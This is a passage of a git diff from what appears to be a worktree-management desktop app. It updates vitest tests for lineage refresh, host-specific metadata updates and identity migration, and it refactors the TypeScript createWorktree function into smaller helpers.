+      }
+    })
+
+    const pending = store.getState().fetchWorktreeLineage({ executionHostId: 'runtime:env-1' })
+    const reassigned = makeLineage({
+      worktreeId: worktree.id,
+      parentWorktreeId: 'repo1::/remote/new-parent'
+    })
+    const reassignedWorkspace = makeWorkspaceLineage({
+      childWorkspaceKey: childKey,
+      parentWorkspaceKey: worktreeWorkspaceKey('repo1::/remote/new-parent')
+    })
+    store.setState({
+      worktreeLineageById: { [reassigned.worktreeId]: reassigned },
+      workspaceLineageByChildKey: { [childKey]: reassignedWorkspace }
+    } as Partial<AppState>)
+
+    releaseLineage?.()
+    await pending
+
+    expect(store.getState().worktreeLineageById).toEqual({ [reassigned.worktreeId]: reassigned })
+    expect(store.getState().workspaceLineageByChildKey).toEqual({ [childKey]: reassignedWorkspace })
+  })
+
+  it('keeps a lineage row deleted while the host lineage request was in flight', async () => {
+    const store = createTestStore()
+    const worktree = makeWorktree({
+      id: 'repo1::/remote/wt1',
+      repoId: 'repo1',
+      path: '/remote/wt1',
+      branch: 'refs/heads/remote',
+      hostId: 'runtime:env-1'
+    })
+    const childKey = worktreeWorkspaceKey(worktree.id)
+    const before = makeLineage({ worktreeId: worktree.id })
+    const beforeWorkspace = makeWorkspaceLineage({ childWorkspaceKey: childKey })
+    store.setState({
+      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
+      worktreesByRepo: { repo1: [worktree] },
+      worktreeLineageById: { [before.worktreeId]: before },
+      workspaceLineageByChildKey: { [childKey]: beforeWorkspace }
+    } as Partial<AppState>)
+
+    let releaseLineage: (() => void) | undefined
+    const lineageReplied = new Promise<void>((resolve) => {
+      releaseLineage = resolve
+    })
+    runtimeEnvironmentCall.mockImplementation(async ({ method }: RuntimeEnvironmentCallRequest) => {
+      if (method === 'worktree.lineageList') {
+        await lineageReplied
+        return {
+          id: 'rpc-1',
+          ok: true,
+          result: {
+            lineage: { [before.worktreeId]: before },
+            workspaceLineage: { [childKey]: beforeWorkspace }
+          },
+          _meta: { runtimeId: 'runtime-remote' }
+        }
+      }
+      return {
+        id: 'rpc-2',
+        ok: true,
+        result: makeDetectedResult('repo1', [worktree]),
+        _meta: { runtimeId: 'runtime-remote' }
+      }
+    })
+
+    const pending = store.getState().fetchWorktreeLineage({ executionHostId: 'runtime:env-1' })
+    store.setState({
+      worktreeLineageById: {},
+      workspaceLineageByChildKey: {}
+    } as Partial<AppState>)
+
+    releaseLineage?.()
+    await pending
+
+    expect(store.getState().worktreeLineageById).toEqual({})
+    expect(store.getState().workspaceLineageByChildKey).toEqual({})
+  })
+
+  it('drops a host lineage row the refresh reply no longer reports', async () => {
+    const store = createTestStore()
+    const worktree = makeWorktree({
+      id: 'repo1::/remote/wt1',
+      repoId: 'repo1',
+      path: '/remote/wt1',
+      branch: 'refs/heads/remote',
+      hostId: 'runtime:env-1'
+    })
+    const stale = makeLineage({ worktreeId: worktree.id })
+    store.setState({
+      settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
+      worktreesByRepo: { repo1: [worktree] },
+      worktreeLineageById: { [stale.worktreeId]: stale }
+    } as Partial<AppState>)
+    runtimeEnvironmentCall.mockImplementation(({ method }: RuntimeEnvironmentCallRequest) =>
+      Promise.resolve({
+        id: 'rpc-1',
+        ok: true,
+        result:
+          method === 'worktree.lineageList'
+            ? { lineage: {}, workspaceLineage: {} }
+            : makeDetectedResult('repo1', [worktree]),
+        _meta: { runtimeId: 'runtime-remote' }
+      })
+    )
+
+    await store.getState().fetchWorktreeLineage({ executionHostId: 'runtime:env-1' })
+
+    expect(store.getState().worktreeLineageById).toEqual({})
+  })
+
   it('keeps a successful remote worktree refresh when lineage refresh fails', async () => {
     const store = createTestStore()
     const refreshed = makeWorktree({
@@ -292,7 +513,13 @@ describe('fetchWorktrees', () => {
 
     await store.getState().fetchWorktrees('repo1')
 
-    expect(store.getState().worktreesByRepo.repo1).toEqual([refreshed])
+    expect(store.getState().worktreesByRepo.repo1).toEqual([
+      {
+        ...refreshed,
+        hostId: 'runtime:env-1',
+        runtimeOwnerEnvironmentId: 'env-1'
+      }
+    ])
     expect(store.getState().worktreeLineageById).toEqual({
       [staleLineage.worktreeId]: staleLineage
     })
diff --git a/src/renderer/src/store/slices/worktrees-identity-migration.test.ts b/src/renderer/src/store/slices/worktrees-identity-migration.test.ts
index fc36935dd5c..7d709f33ac7 100644
--- a/src/renderer/src/store/slices/worktrees-identity-migration.test.ts
+++ b/src/renderer/src/store/slices/worktrees-identity-migration.test.ts
@@ -74,8 +74,32 @@ describe('migrateWorktreeIdentity', () => {
         [OLD]: { resultOwner: { worktreeId: OLD, runtimeEnvironmentId: 'runtime-a' } }
       },
       activeTabIdByWorktree: { [OLD]: 'tab1' },
-      browserTabsByWorktree: { [OLD]: [{ id: 'browser1', worktreeId: OLD }] },
-      browserPagesByWorkspace: { browser1: [{ id: 'page1', worktreeId: OLD }] },
+      browserTabsByWorktree: {
+        [OLD]: [
+          {
+            id: 'browser1',
+            worktreeId: OLD,
+            docLocation: {
+              kind: 'workspace-doc',
+              worktreeId: OLD,
+              filePath: '/ws/cunner/docs/report.html'
+            }
+          }
+        ]
+      },
+      browserPagesByWorkspace: {
+        browser1: [
+          {
+            id: 'page1',
+            worktreeId: OLD,
+            docLocation: {
+              kind: 'workspace-doc',
+              worktreeId: OLD,
+              filePath: '/ws/cunner/docs/report.html'
+            }
+          }
+        ]
+      },
       recentlyClosedBrowserTabsByWorktree: {
         [OLD]: [
           { workspace: { id: 'closed-browser', worktreeId: OLD }, pages: [{ worktreeId: OLD }] }
@@ -127,6 +151,16 @@ describe('migrateWorktreeIdentity', () => {
     expect(s.activeTabIdByWorktree[NEW]).toBe('tab1')
     expect(s.browserTabsByWorktree[NEW]?.[0]?.worktreeId).toBe(NEW)
     expect(s.browserPagesByWorkspace.browser1?.[0]?.worktreeId).toBe(NEW)
+    expect(s.browserTabsByWorktree[NEW]?.[0]?.docLocation).toEqual({
+      kind: 'workspace-doc',
+      worktreeId: NEW,
+      filePath: '/ws/worktree-creation-spinner/docs/report.html'
+    })
+    expect(s.browserPagesByWorkspace.browser1?.[0]?.docLocation).toEqual({
+      kind: 'workspace-doc',
+      worktreeId: NEW,
+      filePath: '/ws/worktree-creation-spinner/docs/report.html'
+    })
     expect(s.recentlyClosedBrowserTabsByWorktree[NEW]?.[0]?.workspace.worktreeId).toBe(NEW)
     expect(s.recentlyClosedBrowserTabsByWorktree[NEW]?.[0]?.pages[0]?.worktreeId).toBe(NEW)
     expect(s.recentlyClosedBrowserPagesByWorkspace.browser1?.[0]?.worktreeId).toBe(NEW)
diff --git a/src/renderer/src/store/slices/worktrees-lineage-state.test.ts b/src/renderer/src/store/slices/worktrees-lineage-state.test.ts
index d0d3587393c..288fce9596f 100644
--- a/src/renderer/src/store/slices/worktrees-lineage-state.test.ts
+++ b/src/renderer/src/store/slices/worktrees-lineage-state.test.ts
@@ -453,7 +453,11 @@ describe('worktree lineage state', () => {
     })
     expect(mockApi.worktrees.updateLineage).not.toHaveBeenCalled()
     expect(store.getState().worktreeLineageById).toEqual({ [lineage.worktreeId]: lineage })
-    expect(store.getState().worktreesByRepo.repo1?.[0]).toEqual(updatedChild)
+    expect(store.getState().worktreesByRepo.repo1?.[0]).toEqual({
+      ...updatedChild,
+      hostId: 'runtime:env-1',
+      runtimeOwnerEnvironmentId: 'env-1'
+    })
     expect(store.getState().sortEpoch).toBe(4)
   })
 
@@ -537,7 +541,11 @@ describe('worktree lineage state', () => {
     })
     expect(mockApi.worktrees.updateLineage).not.toHaveBeenCalled()
     expect(store.getState().worktreeLineageById).toEqual({ [lineage.worktreeId]: lineage })
-    expect(store.getState().worktreesByRepo.repo1?.[0]).toEqual(updatedChild)
+    expect(store.getState().worktreesByRepo.repo1?.[0]).toEqual({
+      ...updatedChild,
+      hostId: 'runtime:env-1',
+      runtimeOwnerEnvironmentId: 'env-1'
+    })
     expect(store.getState().sortEpoch).toBe(4)
 
     runtimeEnvironmentCall
@@ -701,7 +709,11 @@ describe('worktree lineage state', () => {
       timeoutMs: 15_000
     })
     expect(store.getState().worktreeLineageById).toEqual({})
-    expect(store.getState().worktreesByRepo.repo1?.[0]).toEqual(updatedChild)
+    expect(store.getState().worktreesByRepo.repo1?.[0]).toEqual({
+      ...updatedChild,
+      hostId: 'runtime:env-1',
+      runtimeOwnerEnvironmentId: 'env-1'
+    })
   })
 
   // An unresolvable owner route must reach the caller so the sidebar can toast it, rather than
diff --git a/src/renderer/src/store/slices/worktrees-linked-review-push-target.test.ts b/src/renderer/src/store/slices/worktrees-linked-review-push-target.test.ts
index df136f1ee3a..09f191ac732 100644
--- a/src/renderer/src/store/slices/worktrees-linked-review-push-target.test.ts
+++ b/src/renderer/src/store/slices/worktrees-linked-review-push-target.test.ts
@@ -65,6 +65,7 @@ describe('worktree remote runtime mutations', () => {
     })
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: wt.hostId ?? 'local',
       updates: { linkedPR: 2548, pushTarget }
     })
     expect(store.getState().worktreesByRepo.repo1[0]?.pushTarget).toEqual(pushTarget)
@@ -88,9 +89,9 @@ describe('worktree remote runtime mutations', () => {
     } as Partial<AppState>)
 
     await store.getState().updateWorktreeMeta(wt.id, { linkedPR: null })
-
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: wt.hostId ?? 'local',
       updates: { linkedPR: null, pushTarget: undefined }
     })
     expect(store.getState().worktreesByRepo.repo1[0]?.pushTarget).toBeUndefined()
@@ -119,9 +120,9 @@ describe('worktree remote runtime mutations', () => {
       .getState()
       .updateWorktreeMeta(wt.id, { linkedPR: null }, { suppressHostedReviewRefresh: true })
 
-    expect(fetchHostedReviewForBranch).not.toHaveBeenCalled()
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: wt.hostId ?? 'local',
       updates: { linkedPR: null, pushTarget: undefined }
     })
     expect(store.getState().worktreesByRepo.repo1[0]).toMatchObject({
@@ -152,9 +153,9 @@ describe('worktree remote runtime mutations', () => {
     } as Partial<AppState>)
 
     await store.getState().updateWorktreeMeta(wt.id, { linkedGitLabMR: 42 })
-
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: wt.hostId ?? 'local',
       updates: { linkedGitLabMR: 42, linkedPR: null, pushTarget: undefined }
     })
     expect(store.getState().worktreesByRepo.repo1[0]).toMatchObject({
@@ -186,6 +187,7 @@ describe('worktree remote runtime mutations', () => {
     })
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: wt.hostId ?? 'local',
       updates: { pushTarget: newPushTarget }
     })
     expect(store.getState().worktreesByRepo.repo1[0]?.pushTarget).toEqual(newPushTarget)
@@ -300,9 +302,9 @@ describe('worktree remote runtime mutations', () => {
 
     await store.getState().updateWorktreeMeta(wt.id, { linkedPR: 0 })
 
-    expect(mockApi.worktrees.resolvePrBase).not.toHaveBeenCalled()
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: wt.hostId ?? 'local',
       updates: { linkedPR: 0 }
     })
   })
@@ -326,9 +328,9 @@ describe('worktree remote runtime mutations', () => {
 
     await store.getState().updateWorktreeMeta(wt.id, { linkedPR: 2548 })
 
-    expect(mockApi.worktrees.resolvePrBase).not.toHaveBeenCalled()
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: wt.hostId ?? 'local',
       updates: { linkedPR: 2548 }
     })
   })
@@ -361,6 +363,7 @@ describe('worktree remote runtime mutations', () => {
     })
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: wt.hostId ?? 'local',
       updates: { linkedPR: 2548, pushTarget }
     })
     expect(store.getState().worktreesByRepo.repo1[0]?.pushTarget).toEqual(pushTarget)
@@ -397,6 +400,7 @@ describe('worktree remote runtime mutations', () => {
     })
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: wt.hostId ?? 'local',
       updates: { pushTarget }
     })
     expect(store.getState().worktreesByRepo.repo1[0]?.pushTarget).toEqual(pushTarget)
@@ -520,7 +524,8 @@ describe('worktree remote runtime mutations', () => {
       id: 'repo-ssh::/home/orca/runtime-wt',
       repoId: 'repo-ssh',
       path: '/home/orca/runtime-wt',
-      linkedPR: 5571
+      linkedPR: 5571,
+      hostId: 'ssh:ssh-1'
     })
     mockApi.worktrees.resolvePrBase.mockResolvedValueOnce({
       baseBranch: 'fork-head',
@@ -549,6 +554,7 @@ describe('worktree remote runtime mutations', () => {
     })
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: wt.hostId ?? 'local',
       updates: { pushTarget }
     })
     expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
@@ -607,6 +613,51 @@ describe('worktree remote runtime mutations', () => {
     expect(mockApi.worktrees.resolvePrBase).not.toHaveBeenCalled()
     expect(mockApi.worktrees.updateMeta).not.toHaveBeenCalled()
   })
+  it('updates only the explicitly selected owner when locators collide', async () => {
+    const store = createTestStore()
+    const worktreeId = 'repo-shared::/same/path'
+    const sshA = makeWorktree({
+      id: worktreeId,
+      repoId: 'repo-shared',
+      hostId: 'ssh:ssh-a',
+      runtimeOwnerEnvironmentId: 'hub-a',
+      comment: 'A'
+    })
+    const sshB = makeWorktree({
+      id: worktreeId,
+      repoId: 'repo-shared',
+      hostId: 'ssh:ssh-b',
+      runtimeOwnerEnvironmentId: 'hub-b',
+      comment: 'B'
+    })
+    runtimeEnvironmentCall.mockResolvedValue({
+      id: 'rpc-set-selected-owner',
+      ok: true,
+      result: { worktree: sshB },
+      _meta: { runtimeId: 'hub-b' }
+    })
+    store.setState({
+      settings: { activeRuntimeEnvironmentId: 'hub-a' } as never,
+      worktreesByRepo: { 'repo-shared': [sshA, sshB] }
+    } as Partial<AppState>)
+
+    const result = await store
+      .getState()
+      .updateWorktreeMeta(worktreeId, { comment: 'selected B' }, { executionHostId: 'ssh:ssh-b' })
+
+    expect(result).toEqual({ ok: true })
+    expect(store.getState().worktreesByRepo['repo-shared']).toEqual([
+      expect.objectContaining({ hostId: 'ssh:ssh-a', comment: 'A' }),
+      expect.objectContaining({ hostId: 'ssh:ssh-b', comment: 'selected B' })
+    ])
+    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
+      expect.objectContaining({
+        selector: 'hub-b',
+        method: 'worktree.set',
+        params: expect.objectContaining({ comment: 'selected B' })
+      })
+    )
+  })
 
   it('cleans up the in-flight lookup when restore is skipped for a genuinely ambiguous owner', async () => {
     const store = createTestStore()
@@ -703,6 +754,7 @@ describe('worktree remote runtime mutations', () => {
     })
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: wt.hostId ?? 'local',
       updates: { pushTarget }
     })
     expect(store.getState().worktreesByRepo.repo1[0]?.pushTarget).toEqual(pushTarget)
diff --git a/src/renderer/src/store/slices/worktrees-metadata-persistence.test.ts b/src/renderer/src/store/slices/worktrees-metadata-persistence.test.ts
index 52cbef1b691..bdbfabf1373 100644
--- a/src/renderer/src/store/slices/worktrees-metadata-persistence.test.ts
+++ b/src/renderer/src/store/slices/worktrees-metadata-persistence.test.ts
@@ -2,7 +2,7 @@ import { beforeEach, describe, expect, it, vi } from 'vitest'
 import type { AppState } from '../types'
 import { toast } from 'sonner'
 import type { RuntimeEnvironmentCallRequest } from '../../runtime/runtime-compatibility-test-fixture'
-import { getHostedReviewCacheKey } from './hosted-review'
+import { getHostedReviewCacheKey } from './hosted-review-cache-identity'
 import { getGitHubPRCacheKey, getLegacyGitHubPRCacheKey } from './github-cache-key'
 import { makeWorktree } from './worktrees-slice-test-fixtures'
 import {
@@ -155,7 +155,8 @@ describe('worktree remote runtime mutations', () => {
     const wt = makeWorktree({
       id: 'repo-ssh::/home/orca/wt1',
       repoId: 'repo-ssh',
-      path: '/home/orca/wt1'
+      path: '/home/orca/wt1',
+      hostId: 'ssh:ssh-1'
     })
     store.setState({
       settings: { activeRuntimeEnvironmentId: 'env-1' } as never,
@@ -176,6 +177,7 @@ describe('worktree remote runtime mutations', () => {
 
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: 'ssh:ssh-1',
       updates: expect.objectContaining({ comment: 'ssh note' })
     })
     expect(runtimeEnvironmentCall).not.toHaveBeenCalled()
@@ -199,6 +201,7 @@ describe('worktree remote runtime mutations', () => {
 
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: 'local',
       updates: {
         displayName: 'Fix auth',
         pendingFirstAgentMessageRename: false,
@@ -378,12 +381,10 @@ describe('worktree remote runtime mutations', () => {
     } as Partial<AppState>)
 
     const unsubscribe = store.subscribe(subscriber)
-    await store.getState().updateWorktreesMeta(
-      new Map([
-        [first.id, { workspaceStatus: 'in-review' }],
-        [second.id, { workspaceStatus: 'completed' }]
-      ])
-    )
+    await store.getState().updateWorktreesMeta([
+      { worktreeId: first.id, updates: { workspaceStatus: 'in-review' } },
+      { worktreeId: second.id, updates: { workspaceStatus: 'completed' } }
+    ])
     unsubscribe()
 
     expect(store.getState().worktreesByRepo.repo1.map((w) => w.workspaceStatus)).toEqual([
@@ -412,13 +413,14 @@ describe('worktree remote runtime mutations', () => {
     })
     store.setState({ worktreesByRepo: { repo1: [local, remote] } } as Partial<AppState>)
 
-    await store.getState().updateWorktreesMeta(new Map([[worktreeId, { manualOrder: 9000 }]]))
+    await store.getState().updateWorktreesMeta([{ worktreeId, updates: { manualOrder: 9000 } }])
 
     expect(store.getState().worktreesByRepo.repo1.map((row) => row.manualOrder)).toEqual([
       9000, 9000
     ])
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId,
+      executionHostId: 'local',
       updates: { manualOrder: 9000 }
     })
     expect(runtimeEnvironmentCall).toHaveBeenCalledWith({
@@ -428,4 +430,40 @@ describe('worktree remote runtime mutations', () => {
       timeoutMs: 15_000
     })
   })
+  it('persists an explicit bulk host update to only the selected owner', async () => {
+    const store = createTestStore()
+    const worktreeId = 'repo1::/same/path'
+    const local = makeWorktree({ id: worktreeId, repoId: 'repo1', hostId: 'local' })
+    const remote = makeWorktree({
+      id: worktreeId,
+      repoId: 'repo1',
+      hostId: 'runtime:env-1'
+    })
+    runtimeEnvironmentCall.mockResolvedValue({
+      id: 'rpc-set-selected-owner',
+      ok: true,
+      result: { worktree: { ...remote, comment: 'selected' } },
+      _meta: { runtimeId: 'runtime-remote' }
+    })
+    store.setState({ worktreesByRepo: { repo1: [local, remote] } } as Partial<AppState>)
+
+    await store
+      .getState()
+      .updateWorktreesMeta([
+        { worktreeId, updates: { comment: 'selected' }, executionHostId: 'runtime:env-1' }
+      ])
+
+    expect(store.getState().worktreesByRepo.repo1).toEqual([
+      expect.objectContaining({ hostId: 'local', comment: '' }),
+      expect.objectContaining({ hostId: 'runtime:env-1', comment: 'selected' })
+    ])
+    expect(mockApi.worktrees.updateMeta).not.toHaveBeenCalled()
+    expect(runtimeEnvironmentCall).toHaveBeenCalledWith(
+      expect.objectContaining({
+        selector: 'env-1',
+        method: 'worktree.set',
+        params: expect.objectContaining({ comment: 'selected' })
+      })
+    )
+  })
 })
diff --git a/src/renderer/src/store/slices/worktrees-remote-runtime-create.test.ts b/src/renderer/src/store/slices/worktrees-remote-runtime-create.test.ts
index de0d6101072..09b3374cf1e 100644
--- a/src/renderer/src/store/slices/worktrees-remote-runtime-create.test.ts
+++ b/src/renderer/src/store/slices/worktrees-remote-runtime-create.test.ts
@@ -90,7 +90,13 @@ describe('worktree remote runtime mutations', () => {
       timeoutMs: 10 * 60_000
     })
     expect(mockApi.worktrees.create).not.toHaveBeenCalled()
-    expect(store.getState().worktreesByRepo.repo1).toEqual([wt])
+    expect(store.getState().worktreesByRepo.repo1).toEqual([
+      {
+        ...wt,
+        hostId: 'runtime:env-1',
+        runtimeOwnerEnvironmentId: 'env-1'
+      }
+    ])
   })
 
   it('forwards generated-name provenance through paired-runtime create', async () => {
diff --git a/src/renderer/src/store/slices/worktrees-terminal-pr-url-linking.test.ts b/src/renderer/src/store/slices/worktrees-terminal-pr-url-linking.test.ts
index 2dfb3acad50..b0456581292 100644
--- a/src/renderer/src/store/slices/worktrees-terminal-pr-url-linking.test.ts
+++ b/src/renderer/src/store/slices/worktrees-terminal-pr-url-linking.test.ts
@@ -77,6 +77,7 @@ describe('worktree remote runtime mutations', () => {
 
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: 'local',
       updates: { linkedPR: 42 }
     })
   })
@@ -123,6 +124,7 @@ describe('worktree remote runtime mutations', () => {
 
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: 'local',
       updates: { linkedPR: 42 }
     })
   })
@@ -314,6 +316,7 @@ describe('worktree remote runtime mutations', () => {
 
     expect(mockApi.worktrees.updateMeta).toHaveBeenCalledWith({
       worktreeId: wt.id,
+      executionHostId: 'local',
       updates: { linkedPR: 42 }
     })
   })
diff --git a/src/renderer/src/store/slices/worktrees/create/create-worktree.ts b/src/renderer/src/store/slices/worktrees/create/create-worktree.ts
index a21207805a9..b4f8bc75bc8 100644
--- a/src/renderer/src/store/slices/worktrees/create/create-worktree.ts
+++ b/src/renderer/src/store/slices/worktrees/create/create-worktree.ts
@@ -1,12 +1,12 @@
 import type { WorktreeSlice } from '../../worktree-helpers'
 import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types'
+import type { CreateWorktreeResult } from '../../../../../../shared/worktree/create-types'
 import {
   CLIENT_WORKTREE_CREATE_MAX_ATTEMPTS,
   getClientWorktreeCreateCandidate,
   getGeneratedWorktreeCreateRetryCandidate,
   isRetryableWorktreeCreateConflict
 } from '../../../../../../shared/new-workspace/worktree-create-retry-policy'
-import { parseWorkspaceKey, folderWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import {
   assertRuntimeEnvironmentCapability,
   callRuntimeRpc,
@@ -16,12 +16,82 @@ import { WORKTREE_LINKED_WORK_ITEM_CONTEXT_RUNTIME_CAPABILITY } from '../../../.
 import { showLocalBaseRefUpdateSuggestionToast } from '@/components/sidebar/local-base-ref-suggestion-toast'
 import { requestWorktreeBaseFallbackNotice } from '@/components/worktree-base-fallback-notice'
 import { showLocalBaseRefRefreshToast } from './local-base-ref-refresh-toast'
-import {
-  getProjectHostSetupForRepoHost,
-  repoHostId,
-  withRepoHostOwnership
-} from '../listing/worktree-host-ownership'
 import { settingsForRepoOwner } from '../listing/worktree-owner-settings'
+import { applyCreatedWorktree } from './created-worktree-state-merge'
+import { isRuntimeLineageParentMissingError } from '../listing/runtime-worktree-rpc-errors'
+import {
+  buildLocalWorktreeCreateArgs,
+  buildRuntimeWorktreeCreateParams,
+  type WorktreeCreateAttempt,
+  type WorktreeCreateRequest
+} from './worktree-create-payload'
+import {
+  notifyWorktreeParentDropped,
+  resolveWorktreeCreateParent,
+  type WorktreeCreateParentPick
+} from './worktree-create-parent-pick'
+
+type RuntimeTarget = ReturnType<typeof getActiveRuntimeTarget>
+
+type CreateAttemptOutcome = {
+  result: CreateWorktreeResult
+  /** The host had no such parent, so this attempt was retried unattached. */
+  droppedParent: boolean
+}
+
+async function runCreateAttempt(
+  request: WorktreeCreateRequest,
+  attempt: WorktreeCreateAttempt,
+  target: RuntimeTarget
+): Promise<CreateAttemptOutcome> {
+  const provisionedRoot = request.options?.provisionedRoot
+  const create = async (
+    parentWorkspace: WorktreeCreateAttempt['parentWorkspace']
+  ): Promise<CreateWorktreeResult> =>
+    provisionedRoot
+      ? await window.api.worktrees.adoptProvisionedRoot({
+          ...buildLocalWorktreeCreateArgs(request, { ...attempt, parentWorkspace }),
+          ...provisionedRoot
+        })
+      : target.kind === 'local'
+        ? // Why local can still reject on the parent: paired web clients route this API to their host.
+          await window.api.worktrees.create(
+            buildLocalWorktreeCreateArgs(request, { ...attempt, parentWorkspace })
+          )
+        : await callRuntimeRpc<CreateWorktreeResult>(
+            target,
+            'worktree.create',
+            buildRuntimeWorktreeCreateParams(request, { ...attempt, parentWorkspace }),
+            { timeoutMs: 10 * 60_000 }
+          )
+  try {
+    return { result: await create(attempt.parentWorkspace), droppedParent: false }
+  } catch (error) {
+    if (!attempt.parentWorkspace || !isRuntimeLineageParentMissingError(error)) {
+      throw error
+    }
+    return { result: await create(undefined), droppedParent: true }
+  }
+}
+
+/** True when the create landed without the nesting the caller asked for. */
+function lostRequestedParent(
+  outcome: CreateAttemptOutcome,
+  parent: WorktreeCreateParentPick,
+  target: RuntimeTarget
+): boolean {
+  if (outcome.droppedParent) {
+    return true
+  }
+  if (parent.pickedParentWorktreeId) {
+    return !outcome.result.lineage
+  }
+  // Why local-only: older hosts predate the top-level workspace lineage field, so its absence
+  // over RPC would warn about a nesting that actually landed.
+  return (
+    target.kind === 'local' && Boolean(parent.parentWorkspace) && !outcome.result.workspaceLineage
+  )
+}
 
 export function createCreateWorktree(
   set: WorktreeSliceSet,
@@ -55,188 +125,87 @@ export function createCreateWorktree(
     compareBaseRef,
     options
   ) => {
-    const automationProvenanceRequest = options?.automationProvenanceRequest
-    const linkedWorkItem = options?.linkedWorkItem
-    const linkedTaskSourceContext = options?.linkedTaskSourceContext
-    const startupDraft = options?.startupDraft
-    const provisionedRoot = options?.provisionedRoot
+    const request: WorktreeCreateRequest = {
+      repoId,
+      name,
+      baseBranch,
+      setupDecision,
+      sparseCheckout,
+      telemetrySource,
+      displayName,
+      linkedIssue,
+      linkedPR,
+      pushTarget,
+      createdWithAgent,
+      linkedLinearIssue,
+      branchNameOverride,
+      workspaceStatus,
+      linkedGitLabMR,
+      linkedGitLabIssue,
+      startup,
+      pendingFirstAgentMessageRename,
+      creationId,
+      linkedLinearIssueWorkspaceId,
+      linkedLinearIssueOrganizationUrlKey,
+      linkedBitbucketPR,
+      linkedAzureDevOpsPR,
+      linkedGiteaPR,
+      compareBaseRef,
+      options
+    }
     try {
+      // Why outside the retry loop: a branch-name conflict retry must not re-warn about the same dropped pick.
+      const parent = resolveWorktreeCreateParent(get(), repoId, options?.parentWorktreeId)
+      let warnedParentDropped = false
+      const warnParentDroppedOnce = (): void => {
+        if (warnedParentDropped) {
+          return
+        }
+        warnedParentDropped = true
+        notifyWorktreeParentDropped(get(), parent)
+      }
+      if (parent.staleBeforeCreate) {
+        warnParentDroppedOnce()
+      }
+      // Why: manual sort is user-authored order; stamp new workspaces at the top rather than relying on sortOrder fallback.
+      const manualOrder = get().sortBy === 'manual' ? Date.now() : undefined
+      const target = getActiveRuntimeTarget(settingsForRepoOwner(get(), repoId))
+      if (
+        target.kind === 'environment' &&
+        (options?.linkedWorkItem?.provider === 'jira' ||
+          options?.linkedTaskSourceContext?.provider === 'jira')
+      ) {
+        await assertRuntimeEnvironmentCapability(
+          target.environmentId,
+          WORKTREE_LINKED_WORK_ITEM_CONTEXT_RUNTIME_CAPABILITY,
+          'Update the remote runtime to link Jira'
+        )
+      }
+      if (options?.provisionedRoot && target.kind !== 'local') {
+        throw new Error('Provisioned-root recipes currently require a direct SSH connection.')
+      }
       for (let attempt = 0; attempt < CLIENT_WORKTREE_CREATE_MAX_ATTEMPTS; attempt += 1) {
-        const candidateName = options?.nameWasGenerated
-          ? getGeneratedWorktreeCreateRetryCandidate(name, attempt)
-          : getClientWorktreeCreateCandidate(name, attempt)
-        // Why: older runtimes reject exact PR branch overrides on collision, so retry both branch and worktree names.
-        const candidateBranchNameOverride = branchNameOverride
-          ? getClientWorktreeCreateCandidate(branchNameOverride, attempt)
-          : undefined
         try {
-          // Why: manual sort is user-authored order; stamp new workspaces at the top rather than relying on sortOrder fallback.
-          const manualOrder = get().sortBy === 'manual' ? Date.now() : undefined
-          const activeScope = parseWorkspaceKey(get().activeWorkspaceKey ?? '')
-          const parentWorkspace =
-            activeScope?.type === 'folder'
-              ? folderWorkspaceKey(activeScope.folderWorkspaceId)
-              : undefined
-          const createArgs = {
-            repoId,
-            name: candidateName,
-            ...(options?.nameWasGenerated ? { nameWasGenerated: true } : {}),
-            baseBranch,
-            ...(compareBaseRef ? { compareBaseRef } : {}),
-            ...(candidateBranchNameOverride
-              ? { branchNameOverride: candidateBranchNameOverride }
-              : {}),
-            setupDecision,
-            sparseCheckout,
-            ...(displayName ? { displayName } : {}),
-            ...(telemetrySource ? { telemetrySource } : {}),
-            ...(linkedIssue !== undefined ? { linkedIssue } : {}),
-            ...(linkedPR !== undefined ? { linkedPR } : {}),
-            ...(pushTarget ? { pushTarget } : {}),
-            ...(createdWithAgent ? { createdWithAgent } : {}),
-            ...(pendingFirstAgentMessageRename === true && createdWithAgent
-              ? { pendingFirstAgentMessageRename: true }
-              : {}),
-            ...(linkedLinearIssue !== undefined ? { linkedLinearIssue } : {}),
-            ...(linkedLinearIssueWorkspaceId !== undefined ? { linkedLinearIssueWorkspaceId } : {}),
-            ...(linkedLinearIssueOrganizationUrlKey !== undefined
-              ? { linkedLinearIssueOrganizationUrlKey }
-              : {}),
-            ...(manualOrder !== undefined ? { manualOrder } : {}),
-            ...(parentWorkspace ? { parentWorkspace } : {}),
-            ...(workspaceStatus !== undefined ? { workspaceStatus } : {}),
-            ...(linkedGitLabMR !== undefined ? { linkedGitLabMR } : {}),
-            ...(linkedGitLabIssue !== undefined ? { linkedGitLabIssue } : {}),
